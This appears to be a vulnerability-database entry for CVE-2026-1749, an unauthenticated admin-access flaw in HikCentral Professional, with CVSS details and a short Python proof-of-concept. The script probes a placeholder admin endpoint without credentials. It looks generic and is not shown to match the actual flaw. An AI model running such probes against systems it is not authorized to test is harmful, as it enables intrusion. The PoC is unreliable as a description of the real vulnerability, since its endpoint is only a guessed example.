There is an Access Control Vulnerability in some HikCentral Professional versions. This could allow an unauthenticated user to obtain the admin permission.
CVSS Details
CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
Configurations (Affected Products)
No configuration data available.
HikCentral Professional (部分版本)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# PoC for CVE-2026-1749
# Description: Unauthenticated access control vulnerability in HikCentral Professional
TARGET_URL = "http://<target_ip>:<port>/api/v1/admin/users" # Example endpoint
def check_vulnerability(url):
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "application/json"
}
try:
# Send request without authentication headers
response = requests.get(url, headers=headers, timeout=5)
if response.status_code == 200:
print("[+] Potential vulnerability found: Admin access granted without auth.")
print("[+] Response content snippet:", response.text[:200])
else:
print("[-] Target may not be vulnerable or endpoint is incorrect.")
except Exception as e:
print(f"[!] Error connecting to target: {e}")
if __name__ == "__main__":
check_vulnerability(TARGET_URL)